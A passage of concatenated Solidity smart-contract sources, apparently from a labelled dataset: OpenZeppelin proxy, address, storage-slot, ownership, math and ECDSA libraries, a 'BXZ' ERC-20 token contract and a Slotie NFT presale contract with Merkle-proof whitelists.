of the proxy. */ abstract contract Proxy { /** * @dev Delegates the current call to `implementation`. * * This function does not return to its internall call site, it will return directly to the external caller. */ function _delegate(address implementation) internal virtual { assembly { // Copy msg.data. We take full control of memory in this inline assembly // block because it will not return to Solidity code. We overwrite the // Solidity scratch pad at memory position 0. calldatacopy(0, 0, calldatasize()) // Call the implementation. // out and outsize are 0 because we don't know the size yet. let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0) // Copy the returned data. returndatacopy(0, 0, returndatasize()) switch result // delegatecall returns 0 on error. case 0 { revert(0, returndatasize()) } default { return(0, returndatasize()) } } } /** * @dev This is a virtual function that should be overriden so it returns the address to which the fallback function * and {_fallback} should delegate. */ function _implementation() internal view virtual returns (address); /** * @dev Delegates the current call to the address returned by `_implementation()`. * * This function does not return to its internall call site, it will return directly to the external caller. */ function _fallback() internal virtual { _beforeFallback(); _delegate(_implementation()); } /** * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if no other * function in the contract matches the call data. */ fallback() external payable virtual { _fallback(); } /** * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if call data * is empty. */ receive() external payable virtual { _fallback(); } /** * @dev Hook that is called before falling back to the implementation. Can happen as part of a manual `_fallback` * call, or as part of the Solidity `fallback` or `receive` functions. * * If overriden should call `super._beforeFallback()`. */ function _beforeFallback() internal virtual {} } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Address.sol) pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/StorageSlot.sol) pragma solidity ^0.8.0; /** * @dev Library for reading and writing primitive types to specific storage slots. * * Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts. * This library helps with reading and writing to such slots without the need for inline assembly. * * The functions in this library return Slot structs that contain a `value` member that can be used to read or write. * * Example usage to set ERC1967 implementation slot: * ``` * contract ERC1967 { * bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; * * function _getImplementation() internal view returns (address) { * return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value; * } * * function _setImplementation(address newImplementation) internal { * require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract"); * StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation; * } * } * ``` * * _Available since v4.1 for `address`, `bool`, `bytes32`, and `uint256`._ */ library StorageSlot { struct AddressSlot { address value; } struct BooleanSlot { bool value; } struct Bytes32Slot { bytes32 value; } struct Uint256Slot { uint256 value; } /** * @dev Returns an `AddressSlot` with member `value` located at `slot`. */ function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `BooleanSlot` with member `value` located at `slot`. */ function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `Bytes32Slot` with member `value` located at `slot`. */ function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `Uint256Slot` with member `value` located at `slot`. */ function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) { assembly { r.slot := slot } } }

True

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pragma solidity ^0.4.18; // ---------------------------------------------------------------------------- // 'BXZ' token contract // // Deployed to : 0x01bc604ae9d945f29432eded391513ba587aeda1 // Symbol : BXZ // Name : 香港恒泰 // Company : 香港恒泰區塊鏈信息科技有限公司 // Total supply: 100,000,000 // Decimals : 2 // // // // // ---------------------------------------------------------------------------- // ---------------------------------------------------------------------------- // Safe maths // ---------------------------------------------------------------------------- contract SafeMath { function safeAdd(uint a, uint b) public pure returns (uint c) { c = a + b; require(c >= a); } function safeSub(uint a, uint b) public pure returns (uint c) { require(b <= a); c = a - b; } function safeMul(uint a, uint b) public pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function safeDiv(uint a, uint b) public pure returns (uint c) { require(b > 0); c = a / b; } } // ---------------------------------------------------------------------------- // ERC Token Standard #20 Interface // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // ---------------------------------------------------------------------------- contract ERC20Interface { function totalSupply() public constant returns (uint); function balanceOf(address tokenOwner) public constant returns (uint balance); function allowance(address tokenOwner, address spender) public constant returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } // ---------------------------------------------------------------------------- // Contract function to receive approval and execute function in one call // // Borrowed from MiniMeToken // ---------------------------------------------------------------------------- contract ApproveAndCallFallBack { function receiveApproval(address from, uint256 tokens, address token, bytes data) public; } // ---------------------------------------------------------------------------- // Owned contract // ---------------------------------------------------------------------------- contract Owned { address public owner; address public newOwner; event OwnershipTransferred(address indexed _from, address indexed _to); function Owned() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address _newOwner) public onlyOwner { newOwner = _newOwner; } function acceptOwnership() public { require(msg.sender == newOwner); OwnershipTransferred(owner, newOwner); owner = newOwner; newOwner = address(0); } } // ---------------------------------------------------------------------------- // ERC20 Token, with the addition of symbol, name and decimals and assisted // token transfers // ---------------------------------------------------------------------------- contract BXZToken is ERC20Interface, Owned, SafeMath { string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ function BXZToken() public { symbol = "BXZ"; name = "香港恒泰"; decimals = 2; _totalSupply = 10000000000; balances[0x01bc604ae9d945f29432eded391513ba587aeda1] = _totalSupply; Transfer(address(0), 0x01bc604ae9d945f29432eded391513ba587aeda1, _totalSupply); } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } // ------------------------------------------------------------------------ // Get the token balance for account tokenOwner // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to to account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer tokens from the from account to the to account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the from account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account. The spender contract function // receiveApproval(...) is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } // ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------ function () public payable { revert(); } // ------------------------------------------------------------------------ // Owner can transfer out any accidentally sent ERC20 tokens // ------------------------------------------------------------------------ function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } }

True

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// SPDX-License-Identifier: MIT pragma solidity 0.8.10; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/utils/math/SafeMath.sol"; import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol"; import "@openzeppelin/contracts/utils/Strings.sol"; import {MerkleProof} from "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol"; interface SlotieNFT { function mintTo(uint256, address) external; } contract SlotiePreSale is Ownable { using SafeMath for uint256; using Strings for uint256; using ECDSA for bytes32; SlotieNFT public slotieNFT; /** Phase 1 */ bool public phaseOneActive = false; bool public phaseTwoActive = false; uint256 public constant maxSupply = 2501; uint256 public constant ticketsPerUser = 3; uint256 public constant ticketPrice = 0.08 ether; // 0.08 ether uint256 public ticketSales = 1; mapping(address => uint256) public addressToTickets; /** MERKLE */ bytes32 public phaseOneMerkleRoot = 0x5406f95cc1896abac2d843cd72298f3d6072f06941ef21e103d6bcae59807df0; bytes32 public phaseTwoMerkleRoot = 0x74a7375e09ffd2a49c6cfe5325df5afb05b87dfd3dbfb2708c140e805b89ad0e; bytes32 public giveawayMerkleRoot = 0xef7d2b691d30203e53e5df4f3d16f015208170d6d468f9af39a8d7ef2a12b424; /** Giveaway */ uint256 public giveAwaySupply = 350; /** Security */ mapping(address => uint256) public addressToTicketMints; mapping(address => uint256) public addressToGiveawayMints; //uint256 public constant maxMintPerTx = 30; /** Events */ event SetSlotieNFT(address _slotieNFT); event SetSignatureProvider(address _provider); event MakePhaseOneActive(bool _active); event MakePhaseTwoActive(bool _active); event MintSloties(address _sender, uint256 _amount); constructor( address _sloties ) Ownable() { slotieNFT = SlotieNFT(_sloties); } function setSlotieNFT(SlotieNFT _slotieNFT) external onlyOwner { slotieNFT = _slotieNFT; emit SetSlotieNFT(address(_slotieNFT)); } function setPhaseOneMerkleRoot(bytes32 _root) external onlyOwner { phaseOneMerkleRoot = _root; } function setPhaseTwoMerkleRoot(bytes32 _root) external onlyOwner { phaseTwoMerkleRoot = _root; } function setGiveAwayMerkleRoot(bytes32 _root) external onlyOwner { giveawayMerkleRoot = _root; } function makePhaseOneActive(bool _val) external onlyOwner { phaseOneActive = _val; emit MakePhaseOneActive(_val); } function makePhaseTwoActive(bool _val) external onlyOwner { phaseTwoActive = _val; emit MakePhaseTwoActive(_val); } function phaseOneBuyTicketsMerkle( bytes32[] calldata proof ) external payable { require(phaseOneActive, "PHASE ONE NOT ACTIVE"); bytes32 leaf = keccak256(abi.encodePacked(msg.sender)); require(MerkleProof.verify(proof, phaseOneMerkleRoot, leaf), "INVALID PROOF"); require(addressToTickets[msg.sender] == 0, "ALREADY GOT TICKET"); require(msg.value == ticketPrice, "INCORRECT AMOUNT PAID"); addressToTickets[msg.sender] = 1; ticketSales = ticketSales.add(1); } function phaseTwoBuyTicketsMerkle( uint256 _amount, bytes32[] calldata proof ) external payable { require(phaseTwoActive, "PHASE TWO NOT ACTIVE"); require(_amount > 0, "HAVE TO BUY AT LEAST 1"); bytes32 leaf = keccak256(abi.encodePacked(msg.sender)); require(MerkleProof.verify(proof, phaseTwoMerkleRoot, leaf), "INVALID PROOF"); require(addressToTickets[msg.sender].add(_amount) <= ticketsPerUser, "ALREADY GOT TICKET"); require(ticketSales.add(_amount) <= maxSupply, "MAX TICKETS SOLD"); require(msg.value == ticketPrice.mul(_amount), "INCORRECT AMOUNT PAID"); addressToTickets[msg.sender] = addressToTickets[msg.sender].add(_amount); ticketSales = ticketSales.add(_amount); } function mintSloties() external { uint256 ticketsOfSender = addressToTickets[msg.sender]; uint256 mintsOfSender = addressToTicketMints[msg.sender]; uint256 mintable = ticketsOfSender.sub(mintsOfSender); require(mintable > 0, "NO MINTABLE TICKETS"); addressToTicketMints[msg.sender] = addressToTicketMints[msg.sender].add(mintable); slotieNFT.mintTo(mintable, msg.sender); emit MintSloties(msg.sender, mintable); } /** GIVEAWAY */ function claimGiveaway(uint256 _amount, bytes32[] calldata proof) external { require(_amount > 0, "HAVE TO BUY AT LEAST 1"); bytes32 leaf = keccak256(abi.encodePacked(msg.sender, _amount)); require(MerkleProof.verify(proof, giveawayMerkleRoot, leaf), "INVALID PROOF"); uint256 giveAwayMints = addressToGiveawayMints[msg.sender]; require(giveAwayMints == 0, "ALREADY CLAIMED"); addressToGiveawayMints[msg.sender] = addressToGiveawayMints[msg.sender].add(_amount); slotieNFT.mintTo(_amount, msg.sender); } /** * @dev Allows the owner to withdraw ether */ function withdraw() external onlyOwner { payable(msg.sender).transfer(address(this).balance); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (access/Ownable.sol) pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (utils/math/SafeMath.sol) pragma solidity ^0.8.0; // CAUTION // This version of SafeMath should only be used with Solidity 0.8 or later, // because it relies on the compiler's built in overflow checks. /** * @dev Wrappers over Solidity's arithmetic operations. * * NOTE: `SafeMath` is generally not needed starting with Solidity 0.8, since the compiler * now has built in overflow checking. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (utils/cryptography/ECDSA.sol) pragma solidity ^0.8.0; import "../Strings.sol"; /** * @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations. * * These functions can be used to verify that a message was signed by the holder * of the private keys of a given address. */ library ECDSA { enum RecoverError { NoError, InvalidSignature, InvalidSignatureLength, InvalidSignatureS, InvalidSignatureV } function _throwError(RecoverError error) private pure { if (error == RecoverError.NoError) { return; // no error: do nothing } else if (error == RecoverError.InvalidSignature) { revert("ECDSA: invalid signature"); } else if (error == RecoverError.InvalidSignatureLength) { revert("ECDSA: invalid signature length"); } else if (error == RecoverError.InvalidSignatureS) { revert("ECDSA: invalid signature 's' value"); } else if (error == RecoverError.InvalidSignatureV) { revert("ECDSA: invalid signature 'v' value"); } } /** * @dev Returns the address that signed a hashed message (`hash`) with * `signature` or error string. This address can then be used for verification purposes. * * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures: * this function rejects them by requiring the `s` value to be in the lower * half order, and the `v` value to be either 27 or 28. * * IMPORTANT: `hash` _must_ be the result of a hash operation for the * verification to be secure: it is possible to craft signatures that * recover to arbitrary addresses for non-hashed data. A safe way to ensure * this is by receiving a hash of the original message (which may otherwise * be too long), and then calling {toEthSignedMessageHash} on it. * * Documentation for signature generation: * - with https://web3js.readthedocs.io/en/v1.3.4/web3-eth-accounts.html#sign[Web3.js] * - with https://docs.ethers.io/v5/api/signer/#Signer-signMessage[ethers] * * _Available since v4.3._ */ function tryRecover(bytes32 hash, bytes memory signature) internal pure returns (address, RecoverError) { // Check the signature length // - case 65: r,s,v signature (standard) // - case 64: r,vs signature (cf https://eips.ethereum.org/EIPS/eip-2098) _Available since v4.1._ if (signature.length == 65) { bytes32 r; bytes32 s; uint8 v; // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. assembly { r := mload(add(signature, 0x20)) s := mload(add(signature, 0x40)) v := byte(0, mload(add(signature, 0x60))) } return tryRecover(hash, v, r, s); } else if (signature.length == 64) { bytes32 r; bytes32 vs; // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. assembly { r := mload(add(signature, 0x20)) vs := mload(add(signature, 0x40)) } return tryRecover(hash, r, vs); } else { return (address(0), RecoverError.InvalidSignatureLength); } } /** * @dev Returns the address that signed a hashed message (`hash`) with * `signature`. This address can then be used for verification purposes. * * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures: * this function rejects them by requiring the `s` value to be in the lower * half order, and the `v` value to be either 27 or 28. * * IMPORTANT: `hash` _must_ be the result of a hash operation for the * verification to be secure: it is possible to craft signatures that * recover to arbitrary addresses for non-hashed data. A safe way to ensure * this is by receiving a hash of the original message (which may otherwise * be too long), and then calling {toEthSignedMessageHash} on it. */ function recover(bytes32 hash, bytes memory signature) internal pure returns (address) { (address recovered, RecoverError error) = tryRecover(hash, signature); _throwError(error); return recovered; } /** * @dev Overload of {ECDSA-tryRecover} that receives the `r` and `vs` short-signature fields separately. * * See https://eips.ethereum.org/EIPS/eip-2098[EIP-2098 short signatures] * * _Available since v4.3._ */ function tryRecover( bytes32 hash, bytes32 r, bytes32 vs ) internal pure returns (address, RecoverError) { bytes32 s; uint8 v; assembly { s := and(vs, 0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff) v := add(shr(255, vs), 27) } return tryRecover(hash, v, r, s); } /** * @dev Overload of {ECDSA-recover} that receives the `r and `vs` short-signature fields separately. * * _Available since v4.2._ */ function recover( bytes32 hash, bytes32 r, bytes32 vs ) internal pure returns (address) { (address recovered, RecoverError error) = tryRecover(hash, r, vs); _throwError(error); return recovered; } /** * @dev Overload of {ECDSA-tryRecover} that receives the `v`, * `r` and `s` signature fields separately. * * _Available since v4.3._ */ function tryRecover( bytes32 hash, uint8 v, bytes32 r, bytes32 s ) internal pure returns (address, RecoverError) { // EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature // unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines // the valid range for s in (301): 0 < s < secp256k1n ÷ 2 + 1, and for v in (302): v ∈ {27, 28}. Most // signatures from current libraries generate a unique signature with an s-value in the lower half order. // // If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value // with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or // vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept // these malleable signatures as well. if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) { return (address(0), RecoverError.InvalidSignatureS); } if (v != 27 && v != 28) { return (address(0), RecoverError.InvalidSignatureV); } // If the signature is valid (and not malleable), return the signer address address signer = ecrecover(hash, v, r, s); if (signer == address(0)) { return (address(0), RecoverError.InvalidSignature); } return (signer, RecoverError.NoError); } /** * @dev Overload of {ECDSA-recover} that receives the `v`, * `r` and `s` signature fields separately. */ function recover( bytes32 hash, uint8 v, bytes32 r, bytes32 s ) internal pure returns (address) { (address recovered, RecoverError error) = tryRecover(hash, v, r, s); _throwError(error); return recovered; } /** * @dev Returns an Ethereum Signed Message, created from a `hash`. This * produces hash corresponding to the one signed with the * https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`] * JSON-RPC method as part of EIP-191. * * See {recover}. */ function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) { // 32 is the length in bytes of hash, // enforced by the type signature above return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)); } /** * @dev Returns an Ethereum Signed Message, created from `s`. This * produces hash corresponding to the one signed with the * https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`] * JSON-RPC method as part of EIP-191. * * See {recover}. */ function toEthSignedMessageHash(bytes memory s) internal pure returns (bytes32) { return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n", Strings.toString(s.length), s)); } /** * @dev Returns an Ethereum Signed Typed Data, created from a * `domainSeparator` and a `structHash`. This produces hash corresponding * to the one signed with the * https://eips.ethereum.org/EIPS/eip-712[`eth_signTypedData`] * JSON-RPC method as part of EIP-712. * * See {recover}. */ function toTypedDataHash(bytes32 domainSeparator, bytes32 structHash) internal pure returns (bytes32) { return keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash)); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String 